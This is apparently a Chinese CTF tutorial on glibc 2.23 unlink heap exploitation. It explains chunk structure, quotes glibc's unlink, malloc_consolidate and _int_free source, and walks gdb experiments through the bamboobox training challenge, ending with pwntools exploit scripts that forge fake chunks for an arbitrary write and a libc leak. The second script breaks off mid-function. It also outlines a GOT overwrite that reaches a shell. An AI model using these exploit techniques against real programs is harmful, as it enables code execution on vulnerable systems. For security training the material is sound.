介绍
◆unlink,俗称链,将unsorted_bin
中的处于free状态的堆块脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(可以是向前合并或者向后合并),合并完之后再放入unsorted_bin
中。
◆漏洞产生的原因:offbynull
、offbyone
、堆溢出
,修改了堆块的p标志位
◆在这里,建议先了解unlink
的原理,和如何利用,再学习off_by_null
和off_by_one
◆在本篇文章中会标注堆的高低地址,以便会更清晰的展现unlink的过程。
堆再介绍
◆为了更快的获取堆内存空间,程序员设计了bins
这个数据结构,这个数据结构就是用来更好的,更快速的管理堆、获得堆内存。
◆bins
只是为了管理free
之后的堆块
◆bins
一共有136个bins
:
unsorted bins
small bins
largebins
他们的分布如下
◆prev_size
:记录前一个堆块的大小
◆下图是size
所表示的堆块大小范围
◆知道了size
所表示堆块大小的范围后,接下来就可以解释为什么会有N
、M
、P
标志位了
◆由于一个堆块至少包含了prev_size
、size
、fd
、bk
。
◆而user_data
可能会为0,当我们malloc(0x1)
时,堆管理器会判断申请的堆块会不会满足fd
、bk
、后一个prev_size
内存空间能不能存放下去,如果能存放下去,则user_data
是为0
的。
◆而prev_size
、size
是size_t
类型(无符号整数),在32位是4字节,64位8字节,fd、bk指针都一样32位4字节、64位8字节。这样32位的堆块size
至少要0x10
,64位堆块至少要0x20
。并且堆块最后还会和8字节
或32字节
对齐。
◆从下图可以看到,size的最小3位都是0,都是空闲着不会改变,所以就将这3位合理利用起来,即将他们做为标志位
0x10--->0001 0000
0x18--->0001 1000
0x20--->0010 0000
◆而这边的P
位表示的是与当前堆块物理地址相邻的前一个堆块是否空闲还是在使用,这里p
等于1就表示物理地址相邻的前一个堆块正在被使用(这里chunk1简单画了就没把user_data画出来)
◆当这物理地址相邻的俩个堆块P
标志位都为0的情况下,这俩个堆块就会发生合并,俩个堆块合并成一个大堆块,并放在unsorted_bin这个链表里面
◆然后就会变成这样,合并还分为前向合并(堆块从前向后合并)和后向合并(堆块从后向前合并)
◆main_arena:是结构体malloc_state
的一个实例,下面是malloc_state
结构体中内部具体的结构
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
◆下面的代码就是定义并初始化main_arena
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
◆这里面先使用gdb动态调试查看main_arena
的结构
◆下面用图介绍一下main_arena
并给出一些在本题中比较重要的一些东西:
示例程序
◆注:以下程序都是在64位环境下进行的
实验1
◆对下面程序进行动态调试,思考以下问题
申请的堆块释放后会被哪个
bins
管理?p1和p2会发生合并吗?
p2和p3会发生合并吗?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
long long int a[100];
int main() {
long long int *p1 = malloc(0x100);
long long int *pp = malloc(0x100);
long long int *p2 = malloc(0x100);
long long int *p3 = malloc(0x100);
free(p1);
free(p2);
free(p3);
return 0;
}
# gcc -o unlink_64 unlink_64.c -fno-stack-protector -z execstack
分析1.1
◆将可执行程序编译后,使用gdb
动态调试,输入ni
指令将程序执行到该语句
◆然后使用heap
指令查看堆块,发现申请了四个堆块,四个堆块都在使用中
◆然后再使用ni
指令,将程序运行到该处(第一个free之后,第二个free之前)
◆再使用heap -v
指令查看,发现第一个被释放的chunk0
被归入了unsortedbin
里面
◆再使用ni
指令运行到第二个free
后,第三个free
前
◆再使用heap -v
查看堆块,发现第二个被释放的堆块也被放入了unsortedbin
,此时我们还发现第二个堆块(即Addr:0x1200110这个地址的堆块)的P
位变成了0
,表示了前一个堆块处于空闲
◆这时我们使用unsortedbin
指令,查看unsortedbin
,发现unsortedbin
这个bin上有俩条链子,但是他们并没有合并,这里还要注意一点是unsortedbin是后进先出
◆接下来ni
将程序执行到第三次free
之后,再使用heap -v
命令查看堆的状态,发现后俩个堆块被合并了,都合并到了Top chunk
中,top chunk
的Addr
也发生了改变
◆回答:
这些堆块被释放后都会被
unsortedbin
管理p1
与p2
这俩个指针指向的堆块是不会合并的,只有物理地址相邻且空闲的堆块会被合并p2
与p3
这俩个指针指向的堆块是会合并的
补充1
◆编译并调试该段代码
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>
#include<unistd.h>
long long int a[100];
int main(){
long long int *p1 = malloc(0x100);
long long int *pp = malloc(0x100);
long long int *p2 = malloc(0x100);
long long int *p3 = malloc(0x100);
long long int *p4 = malloc(0x100);
free(p1);
free(p2);
free(p3);
free(p4);
return 0;
}
// gcc -o lab_3 lab_3.c -fno-stack-protector -z execstack
◆使用gdb动态调试,使用ni
指令将程序运行到第二个free
之后,第三个free
之前,使用heap -v
查看堆块
◆再使用ni
指令将程序运行到第三个free
之后,第四个free
之前,再使用heap -v
查看堆块,发现第三个申请的堆块和第四个申请的堆块在释放后被合并了,合并后也会被放入unsortedbin
里面
实验2
◆查看分析glibc源码,并使用图描述unlink的过程,然后具体了解unlink的检查过程
◆Index of /gnu/glibc在该网站上找到glibc2.23,下载解压后在该目录glibc-2.23\malloc
下找到malloc.c
,搜索到unlink
,查找到unlink这个宏定义,这段代码就是unlink的具体过程
◆这段代码是unlink的具体代码,也是unlink的具体逻辑,源码看不习惯,我稍微调整了一下位置(没有修改代码)
分析2.1
◆其实我们初学只需要注意前8行即可,因为后面的是针对largebin
这个更复杂一点的堆块结构的操作(稍微认真看一下源码就可以知道了),而且通过查看前8行的源码就会知道在unlink中只是进行了脱链的操作,并没有修改堆块的size
位,而堆块的size位是在malloc_consolidate
这个函数中所修改的
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range(P->size)&& __builtin_expect (P->fd_nextsize != NULL, 0))
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);
if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
◆接下来使用图简单描述一下unlink的过程,这里声明一下,unlink的过程是在chunk加入unsortedbin之前进行的,所以他们所以fd、bk指针都是根据物理地址的高低来指向的(建议自己动手画一遍就理解了,看别人画的图是比较乱的)
◆fd
指向当前 chunk 的下一个空闲块,通常是物理内存地址较高的那个块。
◆bk
指向当前 chunk 的上一个空闲块,通常是物理内存地址较低的那个块。
◆当前 chunk 的fd
指针会被设置为NULL
,表示没有后续的空闲块。
◆当前 chunk 的bk
指针会被设置为NULL
,表示没有前面的空闲块。
FD = P->fd
BK = P->bk
◆执行完
FD->bk = BK;
BK->fd = FD;
◆0
◆我们再来查看unlink的第四行代码和第五行代码,
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
也就是说在脱链之前,也就是说他会先检查下图红线加粗的链表是否指向要脱掉的链,就可以防止双向链表的破坏。防止FD中的bk指针被修改或者BK的fd指针被修改。
补充2
◆int_free的全部代码会在实验三的补充中给出,现在先来看看int_free中前向合并和后向合并的代码,在补充中的第162行到180行(这个必看,有助于后面的理解)
/* consolidate backward */ /**/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */ /*后向合并*/
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
◆接下来查看malloc_consolidate
这个函数的具体功能,这里聚焦到51-56行是合并前向块时更新size
,合并后向块时更新size
61-64行,这里有兴趣的话还可以看看第82行到第86行,这几行介绍的是合并后的堆块是top chunk
,则会更新av->top
并设置新的大小:
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
if (get_max_fast () != 0) {
clear_fastchunks(av);
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}
实验3
◆前提说明,glibc没办法判断这个位置是不是chunk,他是根据prev_size
和size
确定堆块的,所以可不可以将某个fd、bk指针指向别的地址,然后申请堆块堆我们所构造的地址进行写呢?
◆接下来编译运行实验代码查看运行结果,想一想为什么会这样,然后进行动态调试和画图进一步理解这一过程。
◆再思考一下为什么要在申请的堆块中伪造一个堆块,利用现有的堆块难道不行吗?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
long long unsigned int* a[100];
int main()
{
long long unsigned int *p1, *p2, *p3, target;
target = (long long unsigned int)&a[5]; // 目标地址(用于任意地址写入)
printf("target:%p\n%p\n%p\n",target,target - 0x18,target - 0x10);
a[0] = (void*)0x0;
a[1] = (void*)0x110;
// 分配堆块
malloc(0x20);
p1 = malloc(0x100);
p2 = malloc(0x100);
p3 = malloc(0x100);
a[5] = p1;
printf("beforefree:a[5]: %p\n",a[5]);
printf("p1: %p\n", p1);
// 伪造 p1 的堆块元数据
p1[0] = 0x0; // prev_size
p1[1] = 0x101; // size
// 伪造 fd 和 bk,使其形成合法的链表
p1[2] = (long long unsigned int)(target - 0x18); // fd,指向目标地址
p1[3] = (long long unsigned int)(target - 0x10); // bk,指向目标地址
// read(0,p1+0x20,0x90);
// 调整 p2 的堆块元数据,符合堆管理器的期望格式
p2[-2] = 0x100; // prev_size
p2[-1] = 0x110; // size
// 释放 p2,触发 unlink 漏洞
free(p2);
// 验证目标地址是否被覆盖
printf("afterfree:a[5]: %p\n",a[5]);
return 0;
}
// gcc -o lab_7 lab_7.c -fno-stack-protector -z execstack -z norelro -fno-builtin
分析3.1
◆使用gcc编译后先运行一下该程序,然后得到结果,然后思考一下为什么会得到该结果
◆接下来我们使用gdb
进行动态调试,使用ni
指令将程序运行到第四次malloc
之后main+102
处
◆使用heap -v
指令查看堆块,现在堆块还没有被修改
◆然后再使用ni
指令,将程序运行到free
之前的一个语句
◆然后再使用heap -v
查看堆块,这回我们发现,我们在p1指向的堆块内容中伪造了一个堆块,然后修改了p2指向堆块的prev_size
和size
位
◆使用ni
指令,再将程序运行到free
之后
◆使用heap -v
查看堆块,发现bk
即伪造的size
的值变成了0x211
,说明进行了unlink
并且还修改了size
,而且fake_fd
和fake_bk
(即图中fd_nextsize
和bk_nextsize
)都指向了 0x7f3bc8f38b78(即main_arena+88)
◆接下来再使用bins
命令查看,我们发现main_arena+88
并不是0x9a9440
而是0x9a9450
即我们伪造的堆块开始的地址,这也说明了unlink
◆然后接下来再动态调试到
0x7f3ac4ad8fe0 <_int_free+640> ✔ jne _int_free+2048 <_int_free+2048>
◆使用x/20gx 0x600b10-0x20
和unsortedbin
pwndbg> x/20gx 0x600b10-0x20
0x600af0: 0x0000000000000000 0x0000000000000000
0x600b00 <a>: 0x0000000000000000 0x0000000000000000
0x600b10 <a+16>: 0x0000000000000000 0x0000000000000000
0x600b20 <a+32>: 0x0000000000000000 0x0000000000600b10
0x600b30 <a+48>: 0x0000000000000000 0x0000000000000000
0x600b40 <a+64>: 0x0000000000000000 0x0000000000000000
0x600b50 <a+80>: 0x0000000000000000 0x0000000000000000
0x600b60 <a+96>: 0x0000000000000000 0x0000000000000000
0x600b70 <a+112>: 0x0000000000000000 0x0000000000000000
0x600b80 <a+128>: 0x0000000000000000 0x0000000000000000
pwndbg> unsorted
unsortedbin
empty
◆最后经过调试得到,a[5]的值在该语句附近会被改变,但是unsortedbin
还是空的,所以是在链表放入unsortedbin之前被劫持的
0x7f18ae011f71 <_int_free+529> cmp rbx, qword ptr [rdx + 0x10]
0x7f18ae011f75 <_int_free+533> jne _int_free+3034 <_int_free+3034>
0x7f18ae011f7b <_int_free+539> cmp qword ptr [rbx + 8], 0x3ff
0x7f18ae011f83 <_int_free+547> mov qword ptr [rax + 0x18], rdx
► 0x7f18ae011f87 <_int_free+551> mov qword ptr [rdx + 0x10], rax
0x7f18ae011f8b <_int_free+555> jbe _int_free+624 <_int_free+624>
pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
分析3.2
◆接下来画图进行分析unlink
的这个具体过程,首先先来说明一下unlink attack
的具体条件
◆接下来画图解释(地址就以分析1中得到的地址为准),所做的伪造堆块的前提准备是这样的
◆然后当free(p2)时p2先进入unlink之前,堆块结构如下
FD = P->fd
BK = P->bk
// 此时P为p2指向的堆块
// 由于是consolidate backward,所以在调用unlink前,P会被跟新为fake_chunk
// 故在unlink的时候P是指向fake_chunk的
◆此时检查机制就会被绕过,因为FD
的bk
会指向P,然后BK
的fd
也会指向P
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
◆修改堆块执行完下面语句后就会出现a[5]就等于0x600b10
即a[2]的地址,实验过程即为这些
FD->bk = BK;
BK->fd = FD;
◆在题目中往往会有一个指针数组
用来存储对应结构体的指针,我们对堆块的增删改查都是利用这个指针数组里面存储的指针来进行操作的。
◆所以我们就可以利用a[5]
这个指针来修改a[2]
、a[3]
、a[4]
,甚至修改a[5]
指针自己本身,这样我们就可以修改指针,使其指向任意地址
◆这时我们把该地址修改成got
表所在的地址,然后show
一下将got表的值打印出来,这就会导致libc中的地址泄露。
◆我们已经修改了指针的值为got表,那我们就可以利用修改后的指针,去修改got表的值,将其修改为system
函数的地址。然后再构造一个/bin/sh
即可getshell
补充3
◆int_free
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
const char *errstr = NULL;
int locked = 0;
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}
check_inuse_chunk(av, p);
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (! have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
/*
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
if (! have_lock) {
(void)mutex_lock(&av->mutex);
locked = 1;
}
nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
{
errstr = "double free or corruption (top)";
goto errout;
}
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
{
errstr = "double free or corruption (out)";
goto errout;
}
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
/*
If freeing a large space, consolidate possibly-surrounding
chunks. Then, if the total unused topmost memory exceeds trim
threshold, ask malloc_trim to reduce top.
Unless max_fast is 0, we don't know if there are fastbins
bordering top, so we cannot tell for sure whether threshold
has been reached unless fastbins are consolidated. But we
don't want to consolidate on each free. As a compromise,
consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
is reached.
*/
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);
if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
} else {
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));
assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}
if (! have_lock) {
assert (locked);
(void)mutex_unlock(&av->mutex);
}
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
}
利用方法
题目1_level_1
◆该题目来自hitconTraining_unlink
◆本题编译环境要在glibc2.23
下编译(ubuntu16.04),建议使用Docker环境进行编译和进行打
◆附件:https://wwsq.lanzoue.com/iLpz32cj7opa密码:7mka
◆源码:
// gcc bamboobox.c -o bamboobox
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
int size ;
char *name ;
};
struct item itemlist[100] = {0};
int num ;
void hello_message(){
puts("There is a box with magic");
puts("what do you want to do in the box");
}
void goodbye_message(){
puts("See you next time");
puts("Thanks you");
}
struct box{
void (*hello_message)();
void (*goodbye_message)();
};
void menu(){
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}
void show_item(){
int i ;
if(!num){
puts("No item in the box");
}else{
for(i = 0 ; i < 100; i++){
if(itemlist[i].name){
printf("%d : %s",i,itemlist[i].name);
}
}
puts("");
}
}
int add_item(){
char sizebuf[8] ;
int length ;
int i ;
int size ;
if(num < 100){
printf("Please enter the length of item name:");
read(0,sizebuf,8);
length = atoi(sizebuf);
if(length == 0){
puts("invaild length");
return 0;
}
for(i = 0 ; i < 100 ; i++){
if(!itemlist[i].name){
itemlist[i].size = length ;
itemlist[i].name = (char*)malloc(length);
printf("Please enter the name of item:");
size = read(0,itemlist[i].name,length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}else{
puts("the box is full");
}
return 0;
}
void change_item(){
char indexbuf[8] ;
char lengthbuf[8];
int length ;
int index ;
int readsize ;
if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
printf("Please enter the length of item name:");
read(0,lengthbuf,8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0,itemlist[index].name,length);
*(itemlist[index].name + readsize) = '\x00';
}else{
puts("invaild index");
}
}
}
void remove_item(){
char indexbuf[8] ;
int index ;
if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
free(itemlist[index].name);
itemlist[index].name = 0 ;
itemlist[index].size = 0 ;
puts("remove successful!!");
num-- ;
}else{
puts("invaild index");
}
}
}
void magic(){
int fd ;
char buffer[100];
fd = open("/home/bamboobox/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}
int main(){
char choicebuf[8];
int choice;
struct box *bamboo ;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message ;
bamboo->hello_message();
while(1){
menu();
read(0,choicebuf,8);
choice = atoi(choicebuf);
switch(choice){
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}
return 0 ;
}
分析1_1
◆先使用IDA打开并查看二进制文件,查看一下程序运行的逻辑怎么样
◆先查看main函数,发现程序先开辟了0x10
个字节的堆空间,然后就是增删改查操作
◆下面会看到itemlist
这个结构体数组,现在先来看一下这个数组和该结构体:有俩个数据类型,分别是整型
和字符串指针
◆接下来还会看到一个名为itemlist
结构体数组,该数组100
个长度
◆接下来查看一下增删改查操作,也就打印出itemlist
中的name
◆之后再查看增,也就是开辟用户输入的内存空间,然后将内容输入进去
◆再来查看改,这里存在堆溢出,主要是修改程序指定的堆块,重新指定长度并重新输入内容
◆删,这里free
了堆块,然后又将指针置0了,所以不存在uaf漏洞
◆综合分析:可以得到该程序存在堆溢出漏洞,但没有uaf漏洞,并且itemlist
还存在着指向申请堆块内存的指针,这样就可以
利用1_1
◆已知程序在开头就已经申请了0x10
个字节了,但是这个堆块并没有什么用
◆我们需要申请3个堆块,第1个、第2个堆块尽量都申请free后能放入unsortedbin
的这个链表
◆然后第3个随便申请一个堆块就可以了(这里申请第3个堆块的原因是,防止free第二个堆块时,第二个堆块与第一个堆块合并之后再被合并入top_chunk中)
◆这时再使用change
函数修改堆块造成堆溢出,刚好具有现成的指向第一个堆块的指针(即itemlist[0].name)
◆gdb动态调试查看,先申请一个堆块,使用x/20gx 0x6020C0
查看这个结构体数组,发现该指针在0x6020c0+0x8
的这个位置
pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>: 0x0000000000000032 0x0000000000c19030
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000
0x602100 <itemlist+64>: 0x0000000000000000 0x0000000000000000
0x602110 <itemlist+80>: 0x0000000000000000 0x0000000000000000
0x602120 <itemlist+96>: 0x0000000000000000 0x0000000000000000
0x602130 <itemlist+112>: 0x0000000000000000 0x0000000000000000
0x602140 <itemlist+128>: 0x0000000000000000 0x0000000000000000
0x602150 <itemlist+144>: 0x0000000000000000 0x0000000000000000
◆所以就可以利用如下所示伪造堆块、堆溢出、unlink_attack直接任意地址写
◆利用:
from pwn import *
context(log_level='debug')
p = process('./bamboobox')
def show():
p.sendlineafter(b'Your choice:',b'1')
def add(lens,txt):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendlineafter(b'Please enter the name of item:',txt)
def change(index,lens,txt):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendafter(b'Please enter the new name of the item:',txt)
def remove(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)
ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
#gdb.attach(p)
p.interactive()
分析1_2
◆释放之后的指针就指向该位置
◆这时我们使用change
函数,修改chunk_ptr_addr
的数据为atoi
的got
表,然后再使用show
打印出来atoi
的地址
利用1_2
◆泄露libc,exp:
from pwn import *
context(log_level='debug')
p = process('./bamboobox')
def show():
p.sendlineafter(b'Your choice:',b'1')
def add(lens,txt):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendlineafter(b'Please enter the name of item:',txt)
def change(index,lens,txt):
